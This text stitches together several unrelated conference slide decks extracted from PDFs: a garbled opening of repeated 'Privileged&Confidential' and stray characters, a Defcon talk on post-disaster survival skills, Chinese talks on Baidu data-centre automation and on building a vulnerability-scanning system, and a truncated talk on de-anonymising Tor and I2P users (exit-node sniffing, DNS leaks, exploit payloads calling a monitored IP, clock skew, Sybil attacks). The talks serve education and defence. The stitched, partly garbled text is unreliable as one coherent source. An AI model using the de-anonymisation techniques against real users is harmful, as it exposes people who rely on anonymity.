Privileged&Confidential &0 Privileged&Confidential Privileged&Confidential &.. 355 3p.. 4 33 1xoa2 sA 3e 3D3.. mi3a x..a Privileged&Confidential Privileged&Confidential && D22 +B 3 Privileged&Confidential 3 Privileged&Confidential & 4 Privileged&Confidential 4 Privileged&Confidential & Privileged&Confidential Privileged&Confidential 41& 4 Privileged&Confidential 4 Privileged&Confidential & & Privileged&Confidential & Privileged&Confidential & Privileged&Confidential
pdf
Hackers and Disasters: How To Reboot Society With Style On A Budget Brad “RenderMan” Haines Hacker / Security Consultant RenderLab.net, Churchofwifi.org, NMRC.org [email protected] Defcon 17 July 31st – August 2nd, 2009 Las Vegas, Nevada http://www.renderlab.net/projects/presentations So You Survived The Apocalypse Good For You Now What? Inspiration ● Visited Oslo for Hackcon 2008 ● First time in a country that had been occupied ● Visited the resistance museum in Oslo ● Zack pointed out his phone compared to home build radios in the display ● One photo in particular stood out: April 9, 1940 February 7, 2008 Inspiration ● Norwegian Resistance in WW2 ● Hackers to the bone ● Survived long periods off grid, hiding from a lethal, roaming enemy ● Built their own equipment, radios, weapons ● Highly effective ● Modern urban dwellers ● Utterly fail to understand most devices they own ● Turn into piles of goo during Blackberry outages ● No one repairs things anymore Inspiration ● What would I do in case of invasion? ● Answer wasn't confidence boosting ● Looking at others wasn't helping either ● Idea mulled around for a while till watching 'Dawn of the Dead' while drunk ● I'd be useless in the zombie apocalypse ● How can I make myself more useful? ● How can I help short cut rebuilding? ● Can I do it without getting weird? Inspiration ● Treat it as a hacker problem ● Disaster planning and recovery on a planetary level – Business continuity on a global scale ● Hackerspaces a natural learning/teaching ground ● What if? Is not a bad thing to ask about anything ● Motivated after losing massive amounts of data ● Urban-survivalists not much help Side Note: The Colony ● New show on Discovery ● Talk started long before production ● Good to see the topic getting attention ● Seems very controlled and contrived Side Note: The Colony ● Can't accurately represent end-of-the- world ● Can't kill marauders ● It's a TV show, there's only so much they can do/show ● There's a camera guy standing there! Disasters ● Large or small, they suck. Big ones suck harder ● Are we ready to rebuild from scratch? ● Research has been personally illuminating ● A way to better ones self with a purpose ● An excuse to watch 200 hours of movies and TV shows ● A large thought experiment, your thoughts welcome afterward Need To Plan! But for What? ● A lot written about short term survival ● What about long term? ● Surviving disasters of months? Years? Decades? ● How do you reboot society after a crash? Disaster Scales ● Theprez98 covered short term, small impact ● I'm thinking big, huge, mega disasters ● Not Life ending but damn close ● Preparation beyond Hurricane/Blizzard/Flood/Earthquake kits ● Also thinking about low intensity, high impact disasters Pop Culture ● No good resources found, so I turned to pop- culture ● Dozens of Zombie and disaster movies ● 'Zombie Survival Guide' & 'World War Z' – By Max Brooks ● Science Fiction has thought more about this than most, a good starting point ● Good research for identifying problems, fun too! ● Not many good ideas for the 'now what' part, usually stops at 'we've survived' part Disaster Type 1: Aw, Crap Disasters ● Solar Flare ● Grid Fail ● Ice Storm ● Enough to overwhelm and disable rescue infrastructure ● Can be sorted out in time ● Low intensity but far reaching Solar Flare ● Ground Voltage goes to about 5000V ● Happened in Quebec in 1989 ● Whats happens when it hits all of North America? ● Asia can't build enough replacements soon enough ● A tough period of being on your own ● Add weather (winter) and problem expands Grid Fail ● National power grid a tangled mess ● Northeast blackout of 1965 ● Maintenance issue cascades into the N.E. US ● Very little crime or looting ● New York blackout 1977 ● Massive crime, looting, arson ● Hot summer heatwave, depressed economy ● Northeast blackout of 2003 ● Almost no crime, a strange and calm event ● Will the next one be calm? Disaster Type 2: We're Boned ● 'Small' Meteorite ● 'Strategic' Earthquake ● Etc ● Don't care who or where you are, this is gonna suck ● Recovery takes years ● Higher intensity, small-medium impact “Small” Meteorite ● Something that makes a state go away suddenly ● http://simulator.down2earth.eu – Google map mashup of crater size ● No really good defense ● Effects felt throughout the world ● Not life ending, just a big pothole on life's highway “Strategic” Earthquake ● Strategic - meaning naturally occurring with an additional “screw you” attached ● Isla De le Palma - Cumbre Vieja ● Volcanic Isle in the Canary Islands ● Splitting right down the middle ● 500sq/Km ridge aimed straight at US East Coast ● 30-60m high tsunami, going about 25km inland ● Figure out the net effect of that! ● Mother Nature is a bitch sometimes Disaster Type 3: I Wish I Weren't Undead ● Dead have risen (No, Not Jesus) ● Walking Plague of Zombies (Don't care if they are fast or slow!) ● No rescue, no outside support ● You are on your own ● Disaster constant and ongoing, containment unlikely Hacking Disasters ● Hackers are smart and creative ● If we can survive the short term how can we can make ourselves useful in the long term ● No knowledge is bad ● Hackers: Keepers of Lost Knowledge Hacking Disasters: Preparation ● Planning and hoarding only go so far ● Personal education goes farther ● I am my own test subject ● I have or intend to try most everything I talk about Vulnerability Assessment ● We are rapidly forgetting how we got here ● Even Makers can't Make everything ● We've forgotten more than we know ● This generation might be alright, but what about the next Vulnerability Assessment ● Basic building blocks are not there anymore ● Classical scientists had to be polymath's ● Highly integrated to 'the grid' ● What happens when the grid goes away? ● Thousands of people involved in every product and tech. What happens when most go away? ● Lack of danger in our lives ● Consider a Pencil, Consider a Toaster A Pencil Leonard Read, I Pencil A Toaster ● UK Artist Thomas Thwaites attempts to build a $5 toaster from the ground up ● FAIL! ● Proved that the average person cannot create even the most mundane thing on their own Knowledge Is The Best Weapon ● Knowledge is the most underestimated survival tool ● 500 years of trial and error – forgotten ● Why waste time recreating knowledge ● Learn it ourselves and pass it on Knowledge Ever Since The World Ended – Yes that is Adam Savage "A human being should be able to change a diaper, plan an invasion, butcher a hog, conn a ship, design a building, write a sonnet, balance accounts, build a wall, set a bone, comfort the dying, take orders, give orders, cooperate, act alone, solve equations, analyze a new problem, pitch manure, program a computer, cook a tasty meal, fight efficiently, die gallantly. Specialization is for insects." — Robert Heinlein, Time Enough for Love Heinlein said it well... The Zombie Apocalypse Is Coming! The Signs Are Everywhere! The Zombiepocalypse Zombiepocalypse: Communication ● You've survived, now what? ● Is anyone else alive? ● Zombies ate your cellphone, don't really want it back ● What information do others have? ● What resources do others have? Zombiepocalypse: Communication ● HAM operators invaluable in disaster scenarios ● How do you pick up HAM broadcasts? ● Minimal parts, can be found and improvised ● ARRL handbook ● Take a class, volunteer Zombiepocalypse: Communication On the advice of the EFF, I can't use the clip from Terminator: Salvation It's fair use but they will fight harder since it's in theaters still I Hope the Zombies get them first Zombiepocalypse: Communication Apologies for the poor quality – I'm sure you know why Zombiepocalypse: Communication ● Fox Hole radio ● Used in WW2 ● Simple receiver ● Built out of scrap parts at hand Zombiepocalypse: Communication Apologies to Bre- Hey, you made it creative Commons Zombiepocalypse: Communication ● Transmission is most important ● Share knowledge with other survivors ● 'Radio Free Earth' – WWZ ● Take the time to train others ● Major positive psychological effects Zombiepocalypse: Agriculture ● Food supplies are heavy ● Long term survival requires sustainability of food ● Small seed banks in 'go-bags', knowledge of how to use them ● Knowledge of local botany, useful plants ● Keep in mind local environment ● Modeled after Svalbard Global Seed Vault Svalbard Global Seed Vault ● Last ditch storehouse for food producing crop seeds ● Genetic backup copies ● Many know it ● Do you know where it is? Svalbard Global Seed Vault Coordinates:78.238166°N 15.447236°E Zombiepocalypse: Agriculture: Hemp ● Don't try this at home, just read about it, You can't smoke it anyways ● Incredibly useful plant; rope, paper, foodstuffs, cloth, fuel, etc ● Low maintenance, low pesticide requirements ● Most parts of the plant can be used ● Best use of resources, multiple crops/year ● Be aware of local flora & fauna Zombiepocalypse: Tools ● Gordon Freeman ● Crowbar, useful - Halligan Bar, better ● Built for firefighting, rescue, zombie killin' ● Not cheap, but definitely worth it ● Multiple tools in one = less to carry ● Rescue, demolition, construction ready Zombiepocalypse: Weapons ● I don't care for guns, but I'm not stupid. Again, no knowledge is bad ● Take steps to obtain knowledge and licenses 'just in case' ● Ammo is heavy, limited, Think beyond the short term ● Sniper training for civilians? Zombiepocalypse: Weapons ● Swords/Machete's ● Don't need reloading ● Useful for other things ● Need to know how to use it – Fencing lessons ● How to make more? ● Zombietools.net Zombiepocalypse: Weapons Zombiepocalypse: Fashion/Function ● Just because the world has ended doesn't mean style doesn't matter ● Prepare your own survival tac gear ahead of time ● tacticalcorsets.com ● Fashion + Function ● Milspec gear doesn't fit me, so I'm learning to sew my own Zombiepocalypse: Blacksmithing ● Make your own weapons, tools, parts ● Easy to start, hard to master ● Relatively simple to setup ● Fun for non-disasters too! ● Easy to take a class ● Metalworking in general becoming a lost art ● Combine with basic geology/metallurgy knowledge for mining, scavenging ● Cities may not be safe for scavenging Cities May Not Be Safe 28 Days Later Zombiepocalypse: Brewing / Distillation ● Turn waste biomass into alcohol ● Brew beers, distill spirits, ferment wine ● Fuel - Ethanol ● Weapon – Molotov's ● Disinfectant / Antiseptic ● After a hard days zombie killin', I'd need a drink Zombiepocalypse: Engines ● Repairing modern engines = Not easy ● Old engines = Easier ● V8 interceptor not practical ● 2 and 4 stroke engine repair much more useful ● Small = Fuel Efficient ● Small = Easy to maintain Zombiepocalypse: Engines Evil Dead 2 Zombiepocalypse: Steam ● Steam Power, not steam punk ● Blacksmith = Parts, Distillation = Fuel ● Simple source of power for generators, pumps, heaters, refrigeration, etc ● Most anything can be steam powered ● Worked for 100 years, why not again? ● Simple principal forgotten by most ● Self perpetuation of technology ● Useful for locomotion and defense Zombiepocalypse: Steam Army of Darkness Zombiepocalypse: Redux ● Looking to technology of the past, we can prepare for the future ● Examine, refine 'outdated' technologies ● Prepare a kit with the essentials for reference ● You may not need it but others might ● What good is having knowledge in your brain if your brain is in a zombie? ● Thought experiment ended up answering one of the biggest philosophy questions of the modern age.... The Gilligan Factor Or The Correct Answer: The Professor ● The Professor naturally ● Built innumerable things to make life easier ● Kept castaways sane ● We need to be like the professor! The Gilligan Factor ● In a pinch, we could use Mary-ann ● Kansas farm girl ● Knew which end of a nail was sharp ● Vastly under-rated character on the show The Gilligan Factor ● The human factor of a disaster will suck most of all ● People don't handle adversity well ● We need to provide some small comforts or else zombies won't be the only ones eating us ● Psychology, game theory ● Don't need to lead, but be essential ● Machiavelli – The Prince Books Are Your Friend ● “Rocks don't need backing up” ● Data today is on high capacity, highly sensitive media ● Rock beats paper but paper beats flimsy plastic disc ● Can't hurt to know anyways ● Stash books useful in a crisis ● Make our own specific to this type of scenario Books: Henley's 20th Century Formulas ● Available on archive.org ● The housemaids guide to making anything ● Can't wait to order from the general store, make it yourself ● Adhesives, Alloys, Antiseptics, Condiments, Inks, Waterproofers, Paint, Chemical processes, etc ● You name it, it's in there, over 800 pages ● Warning: Do not accept health or food advice without common sense!!!! Books: Pocket Ref ● Pocket Reference ● Full of useful formula's, specifications, random useful bits of knowledge ● Incredibly useful in a crisis ● My copy's first aid section signed by Adam Savage Proposal: Crowd sourced knowledge bank ● User editable content -wiki? ● Distill a concept, technology, process, etc, down to a twitter post ● Don't need to know where and when or how, just need the how-to-do ● End goal: High density knowledge book ● Refrigeration – “A liquified gas in a sealed, cyclical pipe is allowed to expand, drawing heat from it's surroundings. An in-line compressor re-compresses the gas to repeat the process“ Knowledge Banks ● Disasters are unpredictable ● You can't know everything, but you can store it ● Wikipedia Effect ● Larger version of 'go-bag' ● Libraries/Cities may not be safe for long periods ● Combine with geo-caching for added knowledge safety ● Peer to peer storage Knowledge Banks ● Small kit of knowledge useful for rebuilding ● Don't need to know it all, just that you have it ● Not necessary to flee with, but good to come back for ● Some basic parts for immediate use, knowledge and tools to build the rest ● Use Ammo cans – cheap, EMP resistant, air and water tight Conclusion ● The more ideas the better ● Want to hear ideas, comments, etc for preserving knowledge/rebooting society ● Hopefully some of you will be inspired ● [email protected] Thanks ● Grey Frequency ● Dragorn ● Mouse ● L0st ● Sintax Error ● Joe @ The Movie Studio ● Theprez98 ● Deviant Ollam ● NMRC folks ● EFF ● TacticalCorsets.com ● Everyone who listened to me rant about this stuff for a year
pdf
百度数据中心自动化平台演进 百度系统部 高级项目经理 陆川 2015-04-24 目录 IDC自动化平台的定义 1 2 3 百度IDC自动化平台演进 IDC自动化平台的未来 IDC内部 百度IDC运营平台 分布式集群 Web/DB 业务监控 部署 上线 业务运维 IDC运营平台 资源管理 容量管理 监控报警 资源管理 网络 交换机上架 服务器 上架 DNS 负载均衡 初始化 故障处理 供电 空调 冷机 机房 。。。 。。。 。。。 变更管理 百度IDC自动化平台-why • 百度每年在IDC上的投入? • 上架交付3000台机器需要多长时间? 百度IDC自动化平台-why 2010 2011 2012 2013 2014 百度服务器保有量 历史上的今天 IDC自动化平台-建立 机器规模 千级 Table.js if(){ 。。。 }elseif(){ 。。。 }else{ 。。。 IDC自动化平台-扩张 机器规模 万级 变更管理 资源管理 可视化 商业流程引擎 权限管理 配置管理 BPM 数据库 用户管理 业务层 基础层 故障管理 IDC自动化平台-扩张 机器规模 万级 商业流程引擎 流程数量2100+ 流程越来越复杂 效率要求越来越高 crontab 自动任务 控制器 参数定制 周期控制 状态控制 通知机制 IDC自动化平台-成长 机器规模 十万级 机器上线流程 50 8 机器重装流程 50 8 • 操作时间不可控 • 优先级不可控 • 工作量不均等 • 业务逻辑过于复杂 • 代码很难复用 IDC自动化平台-成长 机器规模 十万级 流程A 流程B 流程C OP1 OP2 OP3 OP4 …… 原子操作 抽象 按需组合 操作A OP1 OP3 OP5 操作B OP1 OP6 操作C OP2 OP4 OP6 IDC自动化平台-成长 机器规模 十万级 50台机器重装 50台机器上架 10台机器申请vip 流程处理 业务队列 审核、确认 校验、拆分 serverA | 重装 serverB | 重装 serverC | 上架 serverD | VIP 单机操作 IDC自动化平台-成长 机器规模 十万级 serverA | 重装 serverD | VIP 任务接收 任务处理 校验、参数处理 拆分、下发 serverA | 重装 | 发送安装参数 | RADI5 serverD | vip | 分配IP | XX集群 serverE | 上架 | 2 serverE | 上架 | 安装校验 | IP/RAID 单机原子操作 重装序列 1 OP1 2 OP2 3 OP3 单机操作 IDC自动化平台-成长 机器规模 十万级 serverA | 重装 | 发送安装参数 | RADI5 serverD | vip | 分配IP | XX集群 serverE | 上架 | 安装校验 | IP/RAID 操作调度 校验、缓存、调度 workA workB workC 松耦合 定制接入 单机原子操作 IDC自动化平台-成长 机器规模 十万级 serverA | 重装 | 发送安装参数 | RADI5 serverD | vip | 分配IP | XX集群 serverE | 上架 | 安装校验 | IP/RAID 任务队列 事件中心 运维中心 成功-继续下一个操作 失败-转人工运维 原子操作结果 Protal IDC自动化平台-成长 机器规模 十万级 50 28 1 1 1 1 1 … 流程处理 业务处理 审核 确认 开放平台 300 任务处理层 操作调度层 事件中心 运维中心 超时管理 任务监控 智能分配 集中处理 IDC自动化平台-成长 机器规模 十万级 2010 2011 2012 2013 2014 服务器平均操作时间 2010 2011 2012 2013 2014 网络平均操作时间 IDC自动化平台-成长 机器规模 十万级 2010 2014 人员组成 开发 运维 -10% 0% 10% 20% 30% 40% 50% 60% 70% 80% 90% 100% 2010 2014 自动化成功率 IDC自动化平台-成长 机器规模 十万级 操作调度 集群操作系统 业务运维系统 监控系统 IDC对象 自动化体系结构 外包服务平台 数据统计分析 外部平台 IDC自动化平台-未来 机器规模 百万级 业务监控 IDC监控 CMDB 模式识别 调度处理 可视化 扩容缩容 故障恢复 智能化 结束语 • 致谢 – 感谢我的家人 – 感谢InfoQ & 2015QconBeijing – 感谢百度系统部&技术管理部 • 招最优秀的人才 – 简历发送至:[email protected] • 参考资料 – 百度发布2014年第四季度财报 – 日交付3000台 百度携浪潮刷新服务器记录 Q&A Thanks 微信:silentime @InfoQ infoqchina
pdf
自 动 化 漏 洞 扫 描 系 统 开 发 和 应 用 李斌 系 统 建 设 背 景 Ø 互联网应用系统大量使用开源软件和应用组件,且系统迭代快,可能 存在各种安全漏洞,依靠手工检测需要投入大量人力。 Ø 通过建设自动化漏洞扫描系统,实现安全资产统一管理、漏洞自动化 检测和安全漏洞生命周期管理,提升漏洞发现效率和能力,降低漏洞 被利用风险。 系 统 建 设 目 标 ü IP和端口 ü 中间件及版本 ü 组件库及版本 ü 数据库 ü 进程 ü 运行用户 ü 域名和URL ü 端口开放 ü 系统和中间件漏洞 ü 弱口令、未授权访问 ü Web安全漏洞 ü 漏洞确认 ü 漏洞复核 ü 漏洞跟踪和管理 ü 统计和报表 安全资产 管理 漏洞自动化 扫描 漏洞生命 周期管理 系 统 功 能 架 构 n 安全资产管理模块 n 漏洞扫描模块 n 漏洞管理模块 系 统 开 发 和 设 计 思 路 1、技术和开发语言 ü Python3(后台) ü Django(Web前端和交互) ü MySQL(数据库) 2、设计思路 ü 重度资产管理,被动+主动收集 ü 尽量使用成熟开源组件和漏洞扫描模块进行二次开发 ü 架构需有良好的扩展性 ü 考虑POC和漏洞库可维护性 安 全 资 产 管 理 系 统 n 被动为主、主动为辅 n 全网覆盖 n 持续更新 安 全 资 产 管 理 - 被 动 采 集 模 块 利用Agent执行shell命令取服务器上资产信息: ü TCP监听端口、进程ID和进程名 ü 进程运行用户、进程运行命令 ü 所有部署的应用程序(微服务列表) ü 服务器上用户列表 ü 服务器上类库,主要是jar包及版本(依赖标准化路径) 安 全 资 产 管 理 - 主 动 采 集 模 块 WINDOWS主机信息 Masscan Nmap URL列表 WIG Accesslog 特定组件和版本信息 运维自动化平台API 漏 洞 扫 描 模 块 n 调度器统一管理和调度扫描任 务、管理扫描模块 n 扫描模块插拔式增加 n 安全资产管理系统提供输入源 漏 洞 扫 描 调 度 引 擎 1、扫描模块注册 2、任务创建 l 任务名称 l 任务类型(调用哪个扫描模块) l 扫描目标(可以是IP,或者是IP+端口,或者是URL等) l 扫描参数(比如专门扫描SQL注入漏洞) 3、任务调度和管理 l 队列中、扫描中、扫描结束 l 终止、暂停、恢复 l 定时任务 l 完成扫描 4、结果解析入库 l 任务ID、标题、级别、类型 l 漏洞详情(建议为JSON格式,包括漏洞所有明细信息,如漏 洞的IP、漏洞端口、探测方法、漏洞检测返回信息、漏洞 CVE描述等,每种漏洞的详情可以不同) 边 界 端 口 开 放 扫 描 1、端口扫描模块(外网) 用于扫描互联网对外开放IP和端口。 2、端口扫描模块(广域网边界) 用于扫描广域网边界开放IP和端口情况,如办公内网 和IDC之间开放端口情况、外联区(专线、VPN)边界 开放端口情况。 3、扫描结果接收接口 用于接收扫描结果,建议扫描结果为JSON格式,接收 结果后入库。 系 统 漏 洞 扫 描 OpenVAS 1、Docker安装和部署 2、Openvas_lib库二次开发 l 任务终止功能 l 扫描结果字段格式化解析 l 扫描端口优化提升扫描效率 中 间 件 漏 洞 扫 描 巡风系统-扫描模块 ü vulscan.py ü Vuldb漏洞POC库 ü 支持全模块或单独某个模块扫描 ü 弱口令字典自定义 W E B 漏 洞 扫 描 Wapiti3.0 Wapiti是开源的Web应用漏洞扫描系统 -黑盒漏洞扫描系统,通过爬取网页,获 取网页结构、表单和参数输入点,通过 注入payload检测是否存在安全漏洞。 主要功能如下: ü 文件包含 ü 注入 ü XSS ü 命令执行 ü CRLF ü XXE ü SSRF ü 敏感信息泄露 二次开发和整合: l 支持手动输入cookie l 可选择单独模块或全扫描 l 扫描参数自定义(爬虫深 度、代理等) l 漏洞扫描结果解析 漏 洞 管 理 模 块 1、漏洞管理功能: ü 用户管理、登录和权限管理 ü 安全资产管理 ü 漏洞扫描任务管理 ü 漏洞扫描结果管理 ü 统计、报表和导出功能 2、开发实现 ü Django Web框架 ü 任务输入和前后端交互 ü 前端模块(Bootstrap、Jquery、 Layui、Echarts) 漏 洞 管 理 系 统 应 用 实 践 1、持续运营,确保资产库新鲜、全面 2、漏洞库持续更新、POC手动编写和更新 3、定期开展漏洞扫描,控制扫描强度 4、漏洞发现要从多方面入手,自动化扫描是其中重要一环 欢迎交流 “安全+” 专注于信息安全行业,通过互联网平台、线下沙龙、培 训、峰会、人才招聘等多种形式,培养安全人才,提升行业的整体 素质,助推安全生态圈的健康发展。 官方网站:www.anquanjia.net.cn 微信公众号:anquanplus
pdf
Irongeek.com Adrian Crenshaw Irongeek.com  I run Irongeek.com  I have an interest in InfoSec education  I don’t know everything - I’m just a geek with time on my hands  (ir)Regular on the ISDPodcast http://www.isdpodcast.com  Researcher for Tenacity Institute http://www.tenacitysolutions.com Irongeek.com  Darknets: There are many definitions, but the one I’m working from is “anonymizing networks”  Use of encryption and proxies (some times other peers) to obfuscate who is communicating to whom  Sometimes referred to as Cipherspace (love that term)  Tor and I2P will be my reference examples, but there are others Irongeek.com  Things get subtle  Terms vary from researcher to researcher  Many weaknesses are interrelated  Other anonymizing networks: Morphmix/Tarzan/Mixminion/Mixmaster/JAP/MUT E/AntsP2P/Haystack  Focus on Tor and I2P for illustrations when needed  Academic vs. real world Irongeek.com  Threat Model: You can’t protect against everything!  Some protocols may be lost causes  Users may do something to reveal themselves  Does an attack reveal the Client/Host or just reduces the anonymity set?  Active vs. Passive attackers  Location, Location, Location:  Internal vs. External  Adversaries: Vary by power and interest  Nation States  Western Democracies vs. Others  Government agency with limited resources  ISP/Someone with a lot of nodes on the network  Private interests groups (RIAA/MPAA)  Adrian (AKA: Some shmuck with time on his hands) Irongeek.com  Layered encryption  Bi-directional tunnels  Has directory servers  Mostly focused on out proxying to the Internet  More info at https://www.torproject.org Internet Server Directory Server Irongeek.com  Unidirectional connections: In tunnels and out tunnels  Information about network distributed via distributed hash table (netDB)  Layered encryption  Mostly focused on anonymous services  More info at http://www.i2p2.de/ Irongeek.com  EIGamal/SessionTag+AES from A to H  Private Key AES from A to D and E to H  Diffie–Hellman/Station-To-Station protocol + AES Image from http://www.i2p2.de/ Irongeek.com Make a Garlic message to multiple destinations. Then send it. Unpack it and send individual cloves to their destinations. Adrian Brian Calvin Dave Irongeek.com You are only as anonymous as the data you send! Irongeek.com Mostly Tor centric:  Is the exit point for traffic looking at the data?  Traffic may be encrypted inside the network, but not once it is outbound! Irongeek.com  Dan Egerstad and the “Embassy Hack” http://www.wired.com/politics/security/news/200 7/09/embassy_hacks  Tons of passwords sent via plain text protocols (POP3/SMTP/HTTP Basic/Etc)  Moxie Marlinspike did something similar with SSLStrip http://intrepidusgroup.com/insight/2009/02/moxie -marlinspike-un-masks-tor-users/ Irongeek.com I could just look at the traffic, or modify it and send it back as part of another type of attack. Irongeek.com  Tor is for anonymity, not necessarily security  Use end-to-end encryption/Don’t use plain-text protocols  Plain text protocols that send usernames/email addresses in the clear are not very anonymous now are they? Irongeek.com Irongeek.com  Does all traffic go though the proxy?  DNS Leaks are a classic example  Badly configured proxy setting could lead some types of traffic to go elsewhere (outside of cipherspace)  Snooper can use web bugs to figure out your location http://www.irongeek.com/i.php?page=security/webbugs  HTTPS is a good example, but plugins can also be an issue  Application level stuff in general is a problem  Javascript is just hosed as far as reducing you anonymity set See: Gregory Fleischer, DEFCON 17: Attacking Tor at the Application Layer Irongeek.com DNS Query Monitored DNS Server If I don’t use the proxy for DNS, I may send the query to a DNS server. It won’t see my traffic to/from the destination, but may now know I’m visiting someplace.com/ .onion/.i2p Irongeek.com  Sniff for traffic leaving your box on port 53. The libPcap capture filter: port 53 should work in most cases.  In Firefox, under about:config set network.proxy.socks_remote_dns to true  Torbutton should help  Other applications vary  May have to firewall off 53 in some cases  May want to edit torrc, and add: DNSPort 53 AutomapHostsOnResolve 1 Then set your box’s DNS to point to 127.0.0.1 Irongeek.com I host an eepSite, but not all of the content is HTTP! Could be an image over HTTPS, or a bad plugin. Irongeek.com Cookie image from brainloc on sxc.hu via Wikipedia I see the same session cookie as one I handed out over the public Internet. Guess I know who this is! Just checked out this site via the public Internet, now I want to use a proxy to look at it. Irongeek.com Let’s see if the hidden server app is vulnerable to an exploit (buffer overflow/web app shell exec/etc). Send a payload that contacts an IP I monitor. Exploit & Payload Irongeek.com If Tor is only being used for contacting the tracker, I could just watch Announce Messages & Extension Protocol Handshakes to extract real IPs. See this paper for more info: Compromising Tor Anonymity Exploiting P2P Information Leakage Pere Manils, Abdelberi Chaabane, Stevens Le Blond, Mohamed Ali Kaafar, Claude Castelluccia, Arnaud Legout, Walid Dabbous http://hal.inria.fr/docs/00/47/15/56/PDF/TorBT.pdf Evil Exit Point Tracker Announce Message/ Extension Protocol Handshake UDP DHT Message DHT (Distributed Hash Table) Nodes Even if the peer traffic is sent over Tor, if the DHT is used the IP may still be revealed because the UDP packets are not sent over Tor. I can scrap the DHT myself, and correlate an IP based on the PeerID/port I saw going through my exit point. Again, If Tor is only being used for contacting the tracker and SSL is not used, I could change the returned peers list to point to me as one of the sources and watch for the outside contact, then try to correlate an IP based on PeerID/port. I may then be able to infer the sender/receiver of other non- Bittorrent traffic because of Tor’s shared circuits. Irongeek.com Irongeek.com Client wise:  Make sure your browser is set to send all traffic though the darknet, or none at all  Look into firewall rules  Limit plugins used  Use a separate browser  Check against: http://decloak.net/ http://panopticlick.eff.org/ Hidden server wise:  Patch your stuff  Don’t run on a box that routes to the Internet Irongeek.com Irongeek.com  Not so much against individual nodes, but the network in general  Whole bunch of categories, not comprehensive:  Starvation attacks  Partition attacks  Flooding  Standard DDoS attacks against resources inside and outside of the network (if going though the network) are likely to be soaked by other peers  Shared known infrastructure can be a problem  Total (or at least severe) blocking of the Internet Irongeek.com  China blocked access to the core directory servers of Tor on September 25th 2009 https://blog.torproject.org/blog/tor-partially- blocked-china  Other blocking of Internet access. (Egypt, Libya, Iran) Irongeek.com Tor Directory Server ? ? ? Irongeek.com  Bridge nodes (Tor)  Distributed infrastructure (I2P)  Taking out dev site would still be an issue  Distributed Hash Table  Protocol obfuscation  Total/Severe blocking will take a bit more: (see next slide) Irongeek.com Irongeek.com  Needs a clear front runner for setting up such a system  Wikipedia if nothing else http://en.wikipedia.org/wiki/Wireless_mesh_network  Village Infrastructure in a Kit-Alpha (VIKA) Project http://www.cuwin.net/node/325  U.S. Underwrites Internet Detour Around Censors http://www.nytimes.com/2011/06/12/world/12internet.ht ml?_r=2&pagewanted=all Irongeek.com Irongeek.com  Some protocols allow you to check the remote system’s clock  Clock difference could be an issue  Minor clock issues may need statistical analysis Irongeek.com  For skew, see: Steven J. Murdoch, "Hot or Not: Revealing Hidden Services by their Clock Skew" University of Cambridge, Cambridge, 2006 http://www.freehaven.net/anonbib/cache/HotOrNot.pdf  I2P Clock differences in I2P http://www.irongeek.com/i.php?page=security/darknets- i2p-identifying-hidden-servers Irongeek.com Time Difference Retrieval Time Host Header 40.417 0.436 89.31.112.91 Apache/2.2.13 (Linux/SUSE) 50.294 10.549 medosbor.i2p Apache/2.2.13 (Linux/SUSE) 3.418 0.35 85.229.85.244 Apache/2.2.15 (Debian) 4.325 5.059 jonatan.walck.i2p Apache/2.2.15 (Debian) -4325.58 0.353 84.55.73.228 Apache/2.2.3 (CentOS) -4321.66 8.946 ipredia.i2p Apache/2.2.3 (CentOS) 4488.434 0.702 130.241.45.216 Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny8 with Suhosin- Patch 4490.365 4.894 error.i2p Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny8 with Suhosin- Patch 2.407 4.89 bolobomb.i2p Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin- Patch mod_ssl/2.2.9 OpenSSL/0.9.8g 2.421 0.091 83.222.124.19 Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin- Patch mod_ssl/2.2.9 OpenSSL/0.9.8g 3.43 0.282 188.40.181.33 lighttpd/1.4.22 5.366 2.901 docs.i2p2.i2p lighttpd/1.4.22 6.274 3.673 zzz.i2p lighttpd/1.4.22 53.415 0.26 93.174.93.93 Microsoft-IIS/6.0 54.404 3.92 colombo-bt.i2p Microsoft-IIS/6.0 3.287 0.531 www.i2p2.i2p nginx/0.6.32 3.429 0.285 46.4.248.202 nginx/0.6.32 11.323 8.989 lurker.i2p nginx/0.7.65 12.433 8.882 178.63.47.16 nginx/0.7.65 Irongeek.com Tor Hidden server or I2P eepSite Hey? What time is it? It’s 2:00PM UTC Irongeek.com  Attack can be hard to pull off because of network jitter  Set clocks with a reliably and often used NTP server  Some mitigation may take place in the darknet protocol itself Irongeek.com Irongeek.com  Matadata is data about data  Just a few files types that contain metadata  JPG EXIF (Exchangeable image file format) IPTC (International Press Telecommunications Council)  PDF  DOC  DOCX  EXE  XLS  XLSX  PNG  Too many to name them all  Things stored: User names, edits, GPS info, network paths, MAC addresses in odd cases. It all depends on the file format. Irongeek.com Dennis Rader (BTK Killer) Metadata in a Word DOC he sent to police had the name of his church, and last modified by “Dennis” in it. Cat Schwartz Is that an unintended thumbnail in your EXIF data, or are you just happy to see me? Darkanaku/Nephew chan A user on 4chan posts a pic of his semi-nude aunt taken with an iPhone, Anonymous pulls the EXIF GPS info from the file and hilarity ensues. More details can be on the following VNSFW site: http://encyclopediadramatica.com/User:Darkanaku/Nephew_chan http://web.archive.org/web/20090608214029/http://encyclopediadramatica. com/User:Darkanaku/Nephew_chan Irongeek.com  Well, clean out the metadata, duh!  Apps vary on how to do it Irongeek.com (at this point, it is already probably a lost cause) Irongeek.com  If they have access to the local box, your hosed  Comes down to mostly traditional forensics  Data on hard drive  Cached data and URLs  Memory Forensics Irongeek.com  Anti-forensics http://www.irongeek.com/i.php?page=videos/anti- forensics-occult-computing  Live CD/USB, but see Andrey Case’s work: https://media.blackhat.com/bh-dc- 11/Case/BlackHat_DC_2011_Case_De- Anonymizing_Live_CDs-wp.pdf  Full hard drive encryption Irongeek.com Sock puppetry Irongeek.com  Ever heard of Sybil attacks?  Think sock puppet, one entity acting as many  May allow for control of routing, elections, etc.  Makes many of the other attacks easier Irongeek.com Random walk this way! Heed my route vote and info! Yay democracy! Irongeek.com No absolute fixes  Make it cost more to have nodes (hashcash)  IP restrictions: Both Tor and I2P restrict peering between IPs on the same /16  Central infrastructure may be more resilient against Sybil attacks (but has other issues)  Peering strategies  SybilLimit/SybilGuard/SybilInfer Irongeek.com First/Last in chain attacks Tagging attacks Timing attacks Irongeek.com  There’s much focus on this in academia, but I imagine application layer flaws are more likely to snag someone  So many subtle variation on profiling traffic  Could be:  Timing of data exchanges  Amount of traffic  Tagging of traffic by 